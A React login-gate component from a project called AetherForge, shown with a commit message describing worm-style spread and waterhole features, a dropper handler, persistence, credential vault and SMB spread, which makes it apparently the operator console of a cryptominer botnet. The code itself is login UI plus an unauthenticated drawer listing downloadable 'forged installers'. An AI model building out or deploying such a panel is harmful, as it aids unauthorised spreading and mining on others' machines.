Files
AetherForge/server/web/src/components/SessionGate.tsx
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

217 lines
7.5 KiB
TypeScript

import { useEffect, useState, type ReactNode } from 'react';
import type { PublicBuildDTO } from '../types';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [degraded, setDegraded] = useState(false);
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
const [sessionExpired, setSessionExpired] = useState(false);
const [publicOpen, setPublicOpen] = useState(false);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [publicLoading, setPublicLoading] = useState(false);
const [publicErr, setPublicErr] = useState('');
useEffect(() => {
const sync = () => {
const hasAuth = !!getStoredAuth();
setAuthed(hasAuth);
if (!hasAuth) {
setSessionExpired(consumeAuthExpiredFlag());
}
};
window.addEventListener('aetherforge-auth', sync);
return () => window.removeEventListener('aetherforge-auth', sync);
}, []);
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setSessionExpired(consumeAuthExpiredFlag());
setReady(true);
return;
}
fetch('/api/v1/config', { headers: authHeaders() })
.then((r) => {
if (r.status === 401) {
clearStoredAuth({ silent: true, expired: true });
setAuthed(false);
setSessionExpired(true);
} else if (!r.ok) {
// Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
setDegraded(false);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
};
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
}
const loadPublicBuilds = async () => {
setPublicLoading(true);
setPublicErr('');
try {
const res = await fetch('/api/v1/public/builds');
if (!res.ok) throw new Error('unavailable');
const data = (await res.json()) as { builds: PublicBuildDTO[] };
setPublicBuilds(data.builds ?? []);
setPublicOpen(true);
} catch {
setPublicErr('Public builds are not available yet — forge an installer first.');
setPublicOpen(true);
} finally {
setPublicLoading(false);
}
};
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
{sessionExpired && (
<p className="form-hint" style={{ color: 'var(--accent-red)' }}>
Your session expired please sign in again.
</p>
)}
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>
<input
id="session-pass"
className="input"
type="password"
value={pass}
onChange={(e) => setPass(e.target.value)}
autoComplete="current-password"
/>
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
<div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ width: '100%' }}
onClick={() => void loadPublicBuilds()}
disabled={publicLoading}
>
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
</button>
{publicOpen && (
<div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
<p className="form-hint" style={{ marginTop: 0 }}>
Pinned + latest forged installers no credentials required.
</p>
{publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
{publicBuilds.length === 0 && !publicErr && (
<p className="form-hint">No public builds yet.</p>
)}
<ul style={{ listStyle: 'none', margin: 0, padding: 0 }}>
{publicBuilds.map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong>
<span className="form-hint"> · {b.platform}</span>
{b.pinned && <span> 📌</span>}
<br />
<a href={b.download_url} className="mono" style={{ fontSize: '0.75rem' }}>
Download
</a>
</li>
))}
</ul>
</div>
)}
</div>
</form>
</div>
);
}
return (
<>
{degraded && (
<div className="session-degraded-banner" role="status">
Cannot reach server using saved credentials. Some data may be stale until connectivity returns.
</div>
)}
{children}
</>
);
}